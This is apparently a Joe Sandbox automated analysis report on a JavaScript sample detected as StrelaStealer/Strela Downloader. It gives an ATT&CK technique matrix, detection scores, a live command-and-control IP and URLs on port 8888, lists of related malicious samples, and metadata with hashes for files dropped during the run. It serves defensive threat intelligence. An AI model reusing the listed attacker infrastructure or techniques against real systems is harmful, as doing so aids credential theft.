Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	131 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	131 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	122 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
22736232701915520651.js	8%	Virustotal		Browse
22736232701915520651.js	8%	ReversingLabs	Script-JS.Trojan.StrelaStealer

Source	Detection	Scanner	Label	Link
http://193.143.1.205:8888/D	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/8	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
s-part-0017.t-0009.t-msedge.net	13.107.246.45	true	false		high
x1.i.lencr.org	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://193.143.1.205:8888/8	net.exe, 00000007.00000002.1407685811.00000226DD3DD000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://crl.ver)	svchost.exe, 00000009.00000002.2614444488.000002939B200000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.8.dr	false		high
https://www.adobe.co	ReaderMessages.5.dr	false		high
http://193.143.1.205:8888/D	net.exe, 00000007.00000002.1407685811.00000226DD3DD000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://g.live.com/odclientsettings/Prod-C:	edb.log.9.dr, qmgr.db.9.dr	false		high
http://193.143.1.205:8888/pace	net.exe, 00000007.00000002.1407685811.00000226DD3A8000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.143.1.205:8888/	net.exe, 00000007.00000002.1407685811.00000226DD3FA000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1407685811.00000226DD3A8000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1407685811.00000226DD3DD000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1407685811.00000226DD3D1000.00000004.00000020.00020000.00000000.sdmp	false		high
https://g.live.com/odclientsettings/ProdV2-C:	svchost.exe, 00000009.00000003.1392827580.000002939B400000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr, qmgr.db.9.dr	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1588794
Start date and time:	2025-01-11 05:34:34 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 3s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	19
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	22736232701915520651.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@27/57@1/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 184.28.88.176, 162.159.61.3, 172.64.41.3, 54.224.241.105, 50.16.47.176, 34.237.241.83, 18.213.11.84, 2.23.242.162, 23.209.209.135, 2.22.50.144, 2.22.50.131, 2.16.168.107, 2.16.168.105, 13.107.246.45, 172.202.163.200, 104.118.8.172
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, e8652.dscx.akamaiedge.net, slscr.update.microsoft.com, otelrules.afd.azureedge.net, a767.dspw65.akamai.net, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, ssl-delivery.adobe.com.edgekey.net, e16604.g.akamaiedge.net, a122.dscd.akamai.net, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net, crl.root-x1.letsencrypt.org.edgekey.net, fs.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com.delivery.microsoft.com, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com, p13n.adobe.io, fe3cr.delivery.mp.microsoft.com, download.windowsupdate.com.edgesuite.net, armmf.adobe.com, azureedge-t-prod.trafficmanager.net, geo2.adobe.com
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
23:35:33	API Interceptor	25x Sleep call for process: powershell.exe modified
23:35:37	API Interceptor	1x Sleep call for process: net.exe modified
23:35:37	API Interceptor	2x Sleep call for process: svchost.exe modified
23:35:45	API Interceptor	2x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	293459661900119816.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1507513743282749438.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	53198678114324144.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	190731319210776809.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	19663169782459227955.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1731726859230921847.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	28926317492847332246.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	16267239851350230287.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1147112155713680.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	395621741190315695.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
s-part-0017.t-0009.t-msedge.net	53198678114324144.js	Get hash	malicious	Strela Downloader	Browse	13.107.246.45
	xCSONUFhmq.exe	Get hash	malicious	FormBook	Browse	13.107.246.45
	5n2U8ZZZbc.exe	Get hash	malicious	FormBook	Browse	13.107.246.45
	iJCj3AQIBC.exe	Get hash	malicious	RevengeRAT	Browse	13.107.246.45
	leUmNO9XPu.exe	Get hash	malicious	HawkEye, MailPassView	Browse	13.107.246.45
	2976587-987347589.08.exe	Get hash	malicious	Nitol	Browse	13.107.246.45
	of5HklY9qP.exe	Get hash	malicious	Unknown	Browse	13.107.246.45
	yMXFgPOdf2.exe	Get hash	malicious	GuLoader	Browse	13.107.246.45
	1dVtYIvfHz.exe	Get hash	malicious	Unknown	Browse	13.107.246.45
	FJRUb5lb9m.exe	Get hash	malicious	FormBook	Browse	13.107.246.45

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	158324772041924674.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	293459661900119816.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	10256249222235922013.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1507513743282749438.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	53198678114324144.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	190731319210776809.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	6734200751517017767.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	19663169782459227955.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	584319483127519041.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1731726859230921847.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.8807479612963707
Encrypted:	false
SSDEEP:	1536:0JVRkX56mk0alaS0aHH0anjJ8PUWJ81s5J8RMvCxwtYD0pQoltqNeveEQYQ1aG9d:0J7adfWuK0p/QDfKoPeuP0aN4fqoxi
MD5:	438B7AF4E214032F1FB13FD87873629C
SHA1:	97018DF6311E9F25BD0A8466123CC2BDF7CE5B35
SHA-256:	8091931AF892BA43ECB69BF759DAAE4FA61F588C1229CA7547F559168913CCC2
SHA-512:	094586A31AB22C486901E1A4C3CAFD6FB99E44B823A6EB613CDAE9137A75FB2FDC873F1BDAD1B5423A11DCA98CF6BE9AD2411AA2E7FB2F10D3FE0057D187F73F
Malicious:	false
Preview:	2.e.........@..@12...{...;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@.................................K<...kS..#.........`h.................h.......0.......X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0x7fa9dac7, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.7880562040421164
Encrypted:	false
SSDEEP:	1536:HSB2ESB2SSjlK/lv4T9DY1k0aXjJ8VQVYkr3g16iq2UPkLk+kYv/gKr51KrgzAkv:HazaPv4V4fXq2UaB
MD5:	CE95F10CAF0248B93B8BE750F321F61D
SHA1:	96129DBC277F31887E9E02A5F2B37819164F6E34
SHA-256:	35019DBD1602F9214BE3CBFD389DAE4BB5FDA83A511C7E5F3749ED39FA50086D
SHA-512:	17500BB8FB94F1FC2319244EAFD14542CBD454CAFB7BF218CCFD3509764B768EA238F2F3B213753FA3A92EC3F2CFEB685A532077C752E97B1D9457D27DDC7502
Malicious:	false
Preview:	....... ...............X\...;...{......................X............{..%#...}q.h...........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... .......12...{...............................................................................................................................................................................................2...{..................................T..p%#...}+>...................%#...}q..........................#......h.......................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.08178240985882805
Encrypted:	false
SSDEEP:	3:KGW8Ye3qcmXlVG0+q2Iqe8l9+/allNTt/4ll/Q6beV/:E8z3qcUGE8lYGHtc6V
MD5:	A4080E1D9684DBC2FC6A650584B897E8
SHA1:	2294840247E5EAC8C6F1BA384AAC6D66B1F5E09D
SHA-256:	202C91AF3AAC43742BAD8A8AC86C322B3DB00AA3214E4490853609617681AECE
SHA-512:	5413490EC24668B880EC01EF8BAD890E0E351966520EFB6CB027ACA0F49EF4E3EBEA5B21DEAEDA7227C2D3385F6105A4AFFA55A3C6362B7BBE30AEC31E0CAE70
Malicious:	false
Preview:	.H.#.....................................;...{..%#...}q......{...............{.......{....:......{....................%#...}q.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	290
Entropy (8bit):	5.219666644030172
Encrypted:	false
SSDEEP:	6:iO4q7KVpMM+q2PFi2nKuAl9OmbnIFUtSq7KVNZmwsq7KV8YeMMVkwOFi2nKuAl91:7RRM+vdZHAahFUtPM/1aeMMV5wZHAaSJ
MD5:	EDFFFDEACF22E2B2487FFA1BE2F2F417
SHA1:	B175B536F6DF3C811E604391757A5C3E4217E8FC
SHA-256:	5803A8E8AEC8BF33E96B4DAD6F86F8E34FBDF5B3CE0125AC8AE2E59B944798A1
SHA-512:	CADE9AA1F186D98C99D0E5E920C103CC3D48645B6874C45DC04680CC1ED45A8C5752CCFBC5FE9EEFC0530FD3D54072912826FF8F67416F9AE6E2CD13B9410371
Malicious:	false
Preview:	2025/01/10-23:35:37.536 1d6c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-23:35:37.538 1d6c Recovering log #3.2025/01/10-23:35:37.539 1d6c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	290
Entropy (8bit):	5.219666644030172
Encrypted:	false
SSDEEP:	6:iO4q7KVpMM+q2PFi2nKuAl9OmbnIFUtSq7KVNZmwsq7KV8YeMMVkwOFi2nKuAl91:7RRM+vdZHAahFUtPM/1aeMMV5wZHAaSJ
MD5:	EDFFFDEACF22E2B2487FFA1BE2F2F417
SHA1:	B175B536F6DF3C811E604391757A5C3E4217E8FC
SHA-256:	5803A8E8AEC8BF33E96B4DAD6F86F8E34FBDF5B3CE0125AC8AE2E59B944798A1
SHA-512:	CADE9AA1F186D98C99D0E5E920C103CC3D48645B6874C45DC04680CC1ED45A8C5752CCFBC5FE9EEFC0530FD3D54072912826FF8F67416F9AE6E2CD13B9410371
Malicious:	false
Preview:	2025/01/10-23:35:37.536 1d6c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-23:35:37.538 1d6c Recovering log #3.2025/01/10-23:35:37.539 1d6c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	334
Entropy (8bit):	5.186153013860664
Encrypted:	false
SSDEEP:	6:iO4q7KVBUsq2PFi2nKuAl9Ombzo2jMGIFUtSq7KVnZmwsq7KV1kwOFi2nKuAl9OU:7RmvdZHAa8uFUtPe/1S5wZHAa8RJ
MD5:	49CAD25834BF960AD3D6247F0B116483
SHA1:	A959C3681230E7B993505164AC3404376E2C89B3
SHA-256:	6999E17502CFCBFEE55E14468A11EA36A0C6C1DF9E58A9D324748975A4657E9A
SHA-512:	FE326F2D1706E64F4F6F4B5B972C9CF0639C0C45B9B2BA80097735295B814AB52ED1267A79DABBDA19FFD680191672D61378572EEB28420354F2D2AF25752612
Malicious:	false
Preview:	2025/01/10-23:35:37.648 1fb0 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-23:35:37.650 1fb0 Recovering log #3.2025/01/10-23:35:37.650 1fb0 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	334
Entropy (8bit):	5.186153013860664
Encrypted:	false
SSDEEP:	6:iO4q7KVBUsq2PFi2nKuAl9Ombzo2jMGIFUtSq7KVnZmwsq7KV1kwOFi2nKuAl9OU:7RmvdZHAa8uFUtPe/1S5wZHAa8RJ
MD5:	49CAD25834BF960AD3D6247F0B116483
SHA1:	A959C3681230E7B993505164AC3404376E2C89B3
SHA-256:	6999E17502CFCBFEE55E14468A11EA36A0C6C1DF9E58A9D324748975A4657E9A
SHA-512:	FE326F2D1706E64F4F6F4B5B972C9CF0639C0C45B9B2BA80097735295B814AB52ED1267A79DABBDA19FFD680191672D61378572EEB28420354F2D2AF25752612
Malicious:	false
Preview:	2025/01/10-23:35:37.648 1fb0 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-23:35:37.650 1fb0 Recovering log #3.2025/01/10-23:35:37.650 1fb0 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\3ba17f2b-19ef-4cc3-9075-1cf81842380f.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	476
Entropy (8bit):	4.957044605864405
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqjyZsBdOg2HFcaq3QYiubpP7E4T3y:Y2sRdsqJdMHk3QYhbd7nby
MD5:	9E890A42B505CFB2A5359E8F48A0E8BF
SHA1:	54BD4D2BFD512D21960AC6AD400A54B2B45DABCE
SHA-256:	3EC1096C2FA06D1A5ABA09EF21B3D89B6867A2A1A92C661D77C1629CD13F5201
SHA-512:	23545A1669294AE4A3E23CE2B3E28A73CB4CF0BF1516153699CE3E5A99E794ACFC662E728B8C3331D814ED8881F8956473F8D6EAAE3E33637FED9EAADAA38621
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381130149323143","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":127621},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.10","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	476
Entropy (8bit):	4.957044605864405
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqjyZsBdOg2HFcaq3QYiubpP7E4T3y:Y2sRdsqJdMHk3QYhbd7nby
MD5:	9E890A42B505CFB2A5359E8F48A0E8BF
SHA1:	54BD4D2BFD512D21960AC6AD400A54B2B45DABCE
SHA-256:	3EC1096C2FA06D1A5ABA09EF21B3D89B6867A2A1A92C661D77C1629CD13F5201
SHA-512:	23545A1669294AE4A3E23CE2B3E28A73CB4CF0BF1516153699CE3E5A99E794ACFC662E728B8C3331D814ED8881F8956473F8D6EAAE3E33637FED9EAADAA38621
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381130149323143","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":127621},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.10","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	3878
Entropy (8bit):	5.229938338508553
Encrypted:	false
SSDEEP:	96:wshFT0h7cA4YC2EVPCqY35NEmNOYcGPtqKYSEVO44cptc:wshFT0h7cZb2EVKZPEANcGIK5EVO44cE
MD5:	8EC59F677CA2A1DCBA48A10EF1FEF78A
SHA1:	632CAC2AE17B16E29102ECD1870BAFB7F4190911
SHA-256:	4C48B7FCD3D0CA539A6710AE2ACC9EB1A1C1A1C71BEFC31BB523822E3E69A0E2
SHA-512:	E73C9850BCD1108D5FE995B92E4CDE5F70A7F6F92C1486C113322C8EF5C83E5B154715C0E288A4EAC14DC8A45CFB7B28E29FA6DB0E65490A0A9990E2CB24356D
Malicious:	false
Preview:	*...#................version.1..namespace-#..o................next-map-id.1.Pnamespace-03b00fbd_48ad_47b1_8693_0d5562b6d54b-https://rna-resource.acrobat.com/.0..QRr................next-map-id.2.Snamespace-9efb0a2e_bf8a_4008_b12a_325311a763d0-https://rna-v2-resource.acrobat.com/.1....r................next-map-id.3.Snamespace-493a2582_fd2f_403f_a0b6_bf623eaab337-https://rna-v2-resource.acrobat.com/.2%e.o................next-map-id.4.Pnamespace-285943ad_4ed5_46fb_8713_f1874054bf05-https://rna-resource.acrobat.com/.3nU..^...............Pnamespace-03b00fbd_48ad_47b1_8693_0d5562b6d54b-https://rna-resource.acrobat.com/"..C^...............Pnamespace-285943ad_4ed5_46fb_8713_f1874054bf05-https://rna-resource.acrobat.com/....a...............Snamespace-9efb0a2e_bf8a_4008_b12a_325311a763d0-https://rna-v2-resource.acrobat.com/.+;\|a...............Snamespace-493a2582_fd2f_403f_a0b6_bf623eaab337-https://rna-v2-resource.acrobat.com/....o................next-map-id.5.Pnamespace-10b75d2f_11e7_4fa3_ae23_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	322
Entropy (8bit):	5.208136184526713
Encrypted:	false
SSDEEP:	6:iO4q7KVKCOq2PFi2nKuAl9OmbzNMxIFUtSq7KVGBZmwsq7KVGOkwOFi2nKuAl9Ob:7R1COvdZHAa8jFUtPzB/15O5wZHAa84J
MD5:	23F6037425F46657A39A82F7659DA804
SHA1:	A4F1C7A93C1C5AB5EFBD78F5485FA20A578CE5BB
SHA-256:	134FC7DB9A2D4BDBF48D7C4A0B527A8C03490C81F8874909395D1A7CA7B82286
SHA-512:	3AD22F425A20D16CB33555034E9FFB013099EA444CA0AB3DD3AF95CA9EC4D5C04DC3133CED4767EB2046AFCA813033611200772021812468F8CF690B15A95F70
Malicious:	false
Preview:	2025/01/10-23:35:37.924 1fb0 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-23:35:37.927 1fb0 Recovering log #3.2025/01/10-23:35:37.928 1fb0 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	322
Entropy (8bit):	5.208136184526713
Encrypted:	false
SSDEEP:	6:iO4q7KVKCOq2PFi2nKuAl9OmbzNMxIFUtSq7KVGBZmwsq7KVGOkwOFi2nKuAl9Ob:7R1COvdZHAa8jFUtPzB/15O5wZHAa84J
MD5:	23F6037425F46657A39A82F7659DA804
SHA1:	A4F1C7A93C1C5AB5EFBD78F5485FA20A578CE5BB
SHA-256:	134FC7DB9A2D4BDBF48D7C4A0B527A8C03490C81F8874909395D1A7CA7B82286
SHA-512:	3AD22F425A20D16CB33555034E9FFB013099EA444CA0AB3DD3AF95CA9EC4D5C04DC3133CED4767EB2046AFCA813033611200772021812468F8CF690B15A95F70
Malicious:	false
Preview:	2025/01/10-23:35:37.924 1fb0 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-23:35:37.927 1fb0 Recovering log #3.2025/01/10-23:35:37.928 1fb0 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 15, database pages 21, cookie 0x5, schema 4, UTF-8, version-valid-for 15
Category:	dropped
Size (bytes):	86016
Entropy (8bit):	4.438877026493346
Encrypted:	false
SSDEEP:	384:yejci5GgiBA7vEmzKNURFXoD1NC1SK0gkzPlrFzqFK/WY+lUTTcKqZ5bEmzVz:0MurVgazUpUTTGt
MD5:	556B489C370AB69135F641E3EA7E5E8F
SHA1:	51EF06057EB083FF5035E163AAD38F95D63DCA50
SHA-256:	E09290479EE82A41AF4DF81A038FDA7B65F7D5C0EE25E29D7E238D737FA3FBE1
SHA-512:	30EEEC3FA6F8AB3C7E1DEA698263DDF7AEA7470C86C5A1B0D6974600BBA88AA72C6B8251B11EA1F279814E10777D4FEFDAD0A2A6C15DE8FFB67D904F57304EA5
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.......1........T...U.1.D............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	3.7767374299676097
Encrypted:	false
SSDEEP:	48:7Mrp/E2ioyVwRioy5oWoy1CUoy17aKOioy1noy1AYoy1Wioy1hioybioyBOoy1nL:7kpjuwRJySXKQ0M2b9IVXEBodRBke
MD5:	259F70EED9DB25F4DF3E7844331C9D44
SHA1:	92287831E913446C65F5853B4B5D87B0B4624324
SHA-256:	CFB13D7F268C2D686AF3A6E81A4CC9A50871E157EB7DDBE045A5012F68E97E78
SHA-512:	0F2E5940C6630DC83914D975307974CD451D746466378D7542321BF238D7C08870E95CAE318EC9262480A55518C78B96383D6F7B13DA0CAA374288AF94D222B5
Malicious:	false
Preview:	.... .c......F.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................T...[...b...r...t...}.....L..............................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
